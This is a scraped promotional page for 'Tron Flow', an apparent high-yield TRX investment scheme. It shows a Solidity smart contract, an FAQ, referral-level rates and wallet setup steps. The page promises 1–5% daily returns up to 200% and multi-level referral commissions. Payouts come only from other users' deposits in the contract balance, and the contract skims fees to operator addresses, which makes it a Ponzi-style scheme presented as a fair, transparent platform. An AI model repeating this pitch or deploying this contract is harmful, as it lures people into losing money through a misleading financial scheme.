Invest

You need a Sponsor Address to join

Period: Until 200% of your Active Capital

Updates every single second

Your Wallet Balance: 0 TRX

Wallet

Active Capital

TRX

Withdrawable Capital

TRX

Withdrawable Interest

TRX

Total Available To Withdraw

TRX

Last 5 Investments

Reviews

Contract Balance

0

Verified Contract

pragma solidity 0.4.25;

contract TronFlowTRX {

    using SafeMath for uint256;

    uint public totalPlayers;
    uint public totalPayout;
    uint public totalInvested;
    uint public totalReinvest;
    uint public activedeposits;
    uint private minDepositSize = 50000000; //50trx
    uint private interestRateDivisor = 1000000000000;
    uint public devCommission = 1;
    uint public commissionDivisor = 100;
     
    uint private releaseTime = 1602446400;  //11 october, 20pm UTC
   
    
    address private feed1;
    address private feed2;

	
	
    address owner;
    struct Player {
        uint trxDeposit;
       
        uint time;
        uint interestProfit;
        uint affRewards;
        uint payoutSum;
        address affFrom;
        uint256 aff1sum; 
        uint256 aff2sum;
        uint256 aff3sum;
        uint256 aff4sum;
        uint256 aff5sum;
        uint256 aff6sum;
        uint256 aff7sum;
        uint256 aff8sum;
   
        
    }

    mapping(address => Player) public players;
    
    event Newbie(address indexed user, address indexed _referrer, uint _time);  
	event NewDeposit(address indexed user, uint256 amount, uint _time);  
	event Withdrawn(address indexed user, uint256 amount, uint _time);  
	event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount, uint _time);
	event Reinvest(address indexed user, uint256 amount, uint _time); 


    constructor(address _marketingAddr, address _projectAddr) public {

		feed1 = _projectAddr;
		feed2 = _marketingAddr;
		owner = msg.sender;
	}


   


    function register(address _addr, address _affAddr) private{

      Player storage player = players[_addr];

      player.affFrom = _affAddr;

      address _affAddr1 = _affAddr;
      address _affAddr2 = players[_affAddr1].affFrom;
      address _affAddr3 = players[_affAddr2].affFrom;
      address _affAddr4 = players[_affAddr3].affFrom;
      address _affAddr5 = players[_affAddr4].affFrom;
      address _affAddr6 = players[_affAddr5].affFrom;
      address _affAddr7 = players[_affAddr6].affFrom;
      address _affAddr8 = players[_affAddr7].affFrom;

      players[_affAddr1].aff1sum = players[_affAddr1].aff1sum.add(1);
      players[_affAddr2].aff2sum = players[_affAddr2].aff2sum.add(1);
      players[_affAddr3].aff3sum = players[_affAddr3].aff3sum.add(1);
      players[_affAddr4].aff4sum = players[_affAddr4].aff4sum.add(1);
      players[_affAddr5].aff5sum = players[_affAddr5].aff5sum.add(1);
      players[_affAddr6].aff6sum = players[_affAddr6].aff6sum.add(1);
      players[_affAddr7].aff7sum = players[_affAddr7].aff7sum.add(1);
      players[_affAddr8].aff8sum = players[_affAddr8].aff8sum.add(1);
      
     
    }

    function () external payable {

    }

    function deposit(address _affAddr) public payable {
    
        
        if (now >= releaseTime){
        collect(msg.sender);
        
        }
        require(msg.value >= minDepositSize, "not minimum amount!");


        uint depositAmount = msg.value;

        Player storage player = players[msg.sender];

        if (player.time == 0) {
            
            if (now < releaseTime) {
               player.time = releaseTime; 
                
            }
            else{
               
               player.time = now; 
            }    
                
            
            
            
            totalPlayers++;
         
            if(_affAddr != address(0) && players[_affAddr].trxDeposit > 0){
                 emit Newbie(msg.sender, _affAddr, now);
              register(msg.sender, _affAddr);
            }
            else{
                emit Newbie(msg.sender, owner, now);
              register(msg.sender, owner);
            }
        }
        player.trxDeposit = player.trxDeposit.add(depositAmount);

        distributeRef(msg.value, player.affFrom);  

        totalInvested = totalInvested.add(depositAmount);
        activedeposits = activedeposits.add(depositAmount);
        emit NewDeposit(msg.sender, depositAmount, now); 
        uint feedEarn = depositAmount.mul(devCommission).mul(8).div(commissionDivisor);
         uint feedtrx1 = feedEarn.div(4);
        uint feedtrx2 = feedtrx1 +feedEarn.div(2);
         feed1.transfer(feedtrx1);
        feed2.transfer(feedtrx2);
    }

    function withdraw() public {
        collect(msg.sender);
        
        require(players[msg.sender].interestProfit > 0);

        
        transferPayout(msg.sender, players[msg.sender].interestProfit);
        
    }

    function reinvest() public {
      collect(msg.sender);
      Player storage player = players[msg.sender];
      uint256 depositAmount = player.interestProfit;
      require(address(this).balance >= depositAmount);
      player.interestProfit = 0;
      player.trxDeposit = player.trxDeposit.add(depositAmount/2);

      totalReinvest = totalReinvest.add(depositAmount);
      activedeposits = activedeposits.add(depositAmount/2);
      emit Reinvest(msg.sender, depositAmount, now);
      distributeRef(depositAmount, player.affFrom);

      uint feedEarn = depositAmount.mul(devCommission).mul(8).div(commissionDivisor);
      uint feedtrx1 = feedEarn.div(4);
      uint feedtrx2 = feedtrx1 +feedEarn.div(2);
      feed1.transfer(feedtrx1);
      feed2.transfer(feedtrx2);
        
        
    }


    function collect(address _addr) internal {
        Player storage player = players[_addr];
        
    	uint256 vel = getvel();
	
        uint secPassed = now.sub(player.time);
        if (secPassed > 0 && player.time > 0) {
            uint collectProfit = (player.trxDeposit.mul(secPassed.mul(vel))).div(interestRateDivisor);
            player.interestProfit = player.interestProfit.add(collectProfit);
            if (player.interestProfit >= player.trxDeposit.mul(2)){
                player.interestProfit = player.trxDeposit.mul(2);
            }
            
            player.time = player.time.add(secPassed);
        }
    }

    function transferPayout(address _receiver, uint _amount) internal {
        if (_amount > 0 && _receiver != address(0)) {
          uint contractBalance = address(this).balance;
            if (contractBalance > 0) {
                uint payout = _amount > contractBalance ? contractBalance : _amount;
                totalPayout = totalPayout.add(payout);
                activedeposits = activedeposits.sub(payout/2);
                activedeposits = activedeposits.add(payout.mul(1).div(4));

                Player storage player = players[_receiver];
                player.payoutSum = player.payoutSum.add(payout);
                player.interestProfit = player.interestProfit.sub(payout);
                player.trxDeposit = player.trxDeposit.sub(payout/2);
                player.trxDeposit = player.trxDeposit.add(payout.mul(1).div(4));
 
                msg.sender.transfer(payout.mul(3).div(4));
                emit Withdrawn(msg.sender, payout, now);
            }
        }
    }

    function distributeRef(uint256 _trx, address _affFrom) private{

        uint256 _allaff = (_trx.mul(10)).div(100);

        address _affAddr1 = _affFrom;
        address _affAddr2 = players[_affAddr1].affFrom;
        address _affAddr3 = players[_affAddr2].affFrom;
        address _affAddr4 = players[_affAddr3].affFrom;
        address _affAddr5 = players[_affAddr4].affFrom;
        address _affAddr6 = players[_affAddr5].affFrom;
        address _affAddr7 = players[_affAddr6].affFrom;
       address _affAddr8 = players[_affAddr7].affFrom;

        uint256 _affRewards = 0;

        if (_affAddr1 != address(0)) {
            _affRewards = (_trx.mul(5)).div(100);
            _allaff = _allaff.sub(_affRewards);
           
           if (now > releaseTime) {
               collect(_affAddr1);
                
            }

            players[_affAddr1].affRewards = _affRewards.add(players[_affAddr1].affRewards);
            players[_affAddr1].trxDeposit = _affRewards.add(players[_affAddr1].trxDeposit);
            activedeposits = activedeposits.add(_affRewards);
            emit RefBonus(_affAddr1, msg.sender, 1, _affRewards, now);
    
          
        }

        if (_affAddr2 != address(0)) {
            _affRewards = (_trx.mul(3)).div(100);
            _allaff = _allaff.sub(_affRewards);
            if (now > releaseTime) {
               collect(_affAddr2);
                
            }
            players[_affAddr2].affRewards = _affRewards.add(players[_affAddr2].affRewards);
            players[_affAddr2].trxDeposit = _affRewards.add(players[_affAddr2].trxDeposit);
            activedeposits = activedeposits.add(_affRewards);
            emit RefBonus(_affAddr2, msg.sender, 2, _affRewards, now);
        }

        if (_affAddr3 != address(0)) {
            _affRewards = (_trx.mul(1)).div(100);
            _allaff = _allaff.sub(_affRewards);
            if (now > releaseTime) {
               collect(_affAddr3);
                
            }
            players[_affAddr3].affRewards = _affRewards.add(players[_affAddr3].affRewards);
            players[_affAddr3].trxDeposit = _affRewards.add(players[_affAddr3].trxDeposit);
            activedeposits = activedeposits.add(_affRewards);
            emit RefBonus(_affAddr3, msg.sender, 3, _affRewards, now);
        }

        if (_affAddr4 != address(0)) {
            _affRewards = (_trx.mul(1)).div(100);
            _allaff = _allaff.sub(_affRewards);
            if (now > releaseTime) {
               collect(_affAddr4);
                
            }
            players[_affAddr4].affRewards = _affRewards.add(players[_affAddr4].affRewards);
            players[_affAddr4].trxDeposit = _affRewards.add(players[_affAddr4].trxDeposit);
            activedeposits = activedeposits.add(_affRewards);
            emit RefBonus(_affAddr4, msg.sender, 4, _affRewards, now);
        }
        
        if (_affAddr5 != address(0)) {
            _affRewards = 0;
            _allaff = _allaff.sub(_affRewards);
            players[_affAddr5].affRewards = _affRewards.add(players[_affAddr5].affRewards);
            players[_affAddr5].trxDeposit = _affRewards.add(players[_affAddr5].trxDeposit);
        }

        if (_affAddr6 != address(0)) {
            _affRewards = 0;
            _allaff = _allaff.sub(_affRewards);
            players[_affAddr6].affRewards = _affRewards.add(players[_affAddr6].affRewards);
            players[_affAddr6].trxDeposit = _affRewards.add(players[_affAddr6].trxDeposit);

        }

        if (_affAddr7 != address(0)) {
            _affRewards = 0;
            _allaff = _allaff.sub(_affRewards);
            players[_affAddr7].affRewards = _affRewards.add(players[_affAddr7].affRewards);
            players[_affAddr7].trxDeposit = _affRewards.add(players[_affAddr7].trxDeposit);
        }

        if (_affAddr8 != address(0)) {
            _affRewards = 0;
            _allaff = _allaff.sub(_affRewards);
            players[_affAddr8].affRewards = _affRewards.add(players[_affAddr8].affRewards);
            players[_affAddr8].trxDeposit = _affRewards.add(players[_affAddr8].trxDeposit);
        }

        

        if(_allaff > 0 ){
       
            _affRewards = _allaff;
            if (now > releaseTime) {
               collect(owner);
                
            }
            players[owner].affRewards = _affRewards.add(players[owner].affRewards);
            players[owner].trxDeposit = _affRewards.add(players[owner].trxDeposit);
            activedeposits = activedeposits.add(_affRewards);
            
        }
    }

    function getProfit(address _addr) public view returns (uint) {
      address playerAddress= _addr;
      Player storage player = players[playerAddress];
      require(player.time > 0);

        if ( now < releaseTime){
        return 0;
            
            
        }
        else{


      uint secPassed = now.sub(player.time);
      
	  uint256 vel = getvel();
	  
      if (secPassed > 0) {
          uint collectProfit = (player.trxDeposit.mul(secPassed.mul(vel))).div(interestRateDivisor);
      }
      
      if (collectProfit.add(player.interestProfit) >= player.trxDeposit.mul(2)){
               return player.trxDeposit.mul(2);
            }
        else{
      return collectProfit.add(player.interestProfit);
        }
        }
    }
    
    
    
    
     function getContractBalanceRate() public view returns (uint256) {
		uint256 contractBalance = address(this).balance;
	
		uint256 contractBalancePercent = contractBalance.div(1000000000000); 
		
		if (contractBalancePercent >=40){
		    contractBalancePercent = 40;
		}
		
		return contractBalancePercent;
	}
    
       function getvel() public view returns (uint256) { 
	
		uint256 PercentRate = getContractBalanceRate();
	
		uint256 vel = 116000 + PercentRate.mul(11600) ; //vel from 1%
		

		return vel;
	}

    
    
     
    
}


library SafeMath {

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b);

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;

        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);

        return c;
    }

}
}

FREQUENTLY ASKED QUESTIONS

Tron Flow is a shared capital distribution platform, managed automatically, securely and transparently through a verified smart contract within the Tron blockchain. No one can ever modify it or make it disappear. Once you do a deposit you will begin to earn interest from it.The system will generate earnings until you get 200% of your Active Capital.

The Active Capital is the amount that is generating interest. It compounds deposits, reinvestments and referral rewards. You will be recovering this capital each time you do a withdraw. Take in mind that if you reinvest the system is firstly doing a withdraw.

ROI means "Recover of Investment". It is a ratio used to calculate the profitability speed of your Active Capital.
As example: 5% ROI/day means you are getting 5% profits of your active capital each day.
Tron Flow starts from a 1% ROI daily basis. For every 1.000.000 trx in the smart contract balance, ROI will increase by 0.1% up to a maximum of 5%. Keep in mind that just as ROI can go up, it can also go down.

Reinvest means to firstly do a withdraw and then automatically a reinvest. As you should did in manual mode. That means that when you reinvest the system first will internally withdraw your available returning capital + interest generated. That will firstly reduce from your active capital the returning capital. Just after that the system will reinvest the full amount.
As example: Your active capital is 100trx and you have 100trx of total available to withdraw (means 50trx are capital and 50trx are interest). If you decide to reinvest firstly will reduce the returning capital (50trx) from your active capital, and just after that will reinvest the full amount (100trx). Your new active capital will be 150trx.

Withdraw means you are recovering part of your capital and withdrawing interest at the same time. For this reason the "withdrawable capital" amount will be reduced from your active capital. The system will automatically reinvest 25% of the withdrawal amount while 75% will go to your wallet.
As example: Your active capital is 100trx and you have 100trx of total available to withdraw (means 50trx are capital and 50trx are interest). If you decide to withdraw firstly will reduce the returning capital (50trx) from your active capital, and just after that it will reinvest 25% of the withdrawal amount (25trx). Your new active capital will be 75trx. An you will receive 75% of the withdrawal amount to your wallet (75trx).

Tron Flow has 4 levels of referral comissions:

1st level: 5%
2nd level: 3%
3rd level: 1%
4th level: 1%

Referral comissions will increase your total Active Capital for more daily profit and to help system’s sustainability

You can install theTRONLINK chrome extension. Once installed, you can create a new Tron wallet or import an existing one and transfer the desired amount of TRX. Finally, go to the Tron Flow website and invest a minimum of 50trx. Take in mind that the blockchain of tron will consume 15-20trx for the transaction. So keep that amount apart.

You can download the TRONWALLET application on your IOS or Android device from the APP store. Once installed, you can create a new Tron wallet or import an existing one and transfer the desired amount of TRX. Finally, access theTron Flow website through the internal browser of the application and invest a minimum of 50trx. Take in mind that the blockchain of tron will consume 15-20trx for the transaction. So keep that amount apart

ABOUT TRON FLOW

Tron Flow - It is an open source ROI platform that is 100% transparent and fair to all users. This is a smart contract on the Tron Blockchain. Please consider to invest only the TRX that you can afford to lose. All you have to do is deposit and reinvest or withdraw your profits. You will get profits every second until there is no money in the contract. Invest more TRX to earn more profits. You can refer people to this smart contract and earn referral commission up to 4 levels.

0

0

0.0%

Invest

Sponsor

Wallet

Active Capital

Withdrawable Capital

Withdrawable Interest

Total Available To Withdraw

REFERRAL LINK

REFERRAL STATUS

Level 1(5%): 0 Referrals

Level 2(3%): 0 Referrals

Level 3(1%): 0 Referrals

Level 4(1%): 0 Referrals

Total Referral Comission:

0 TRX

DAILY TOP DEPOSIT EVENT

Daily TOP Deposits

How It Works

Last Day Top Deposits

WHY TRON FLOW

1-5% variable ROI

Double your Funds

4 Referral Levels

Verified Code

Last 5 Investments

Reviews

Contract Balance

0

Verified Contract

FREQUENTLY ASKED QUESTIONS

What is Tron Flow?

How Active Capital works?

How it works ROI?

How "Reinvest" works?

How "Withdraw" works?

Referral Comission

How to get started with a computer?

How to get started with a mobile phone?

ABOUT TRON FLOW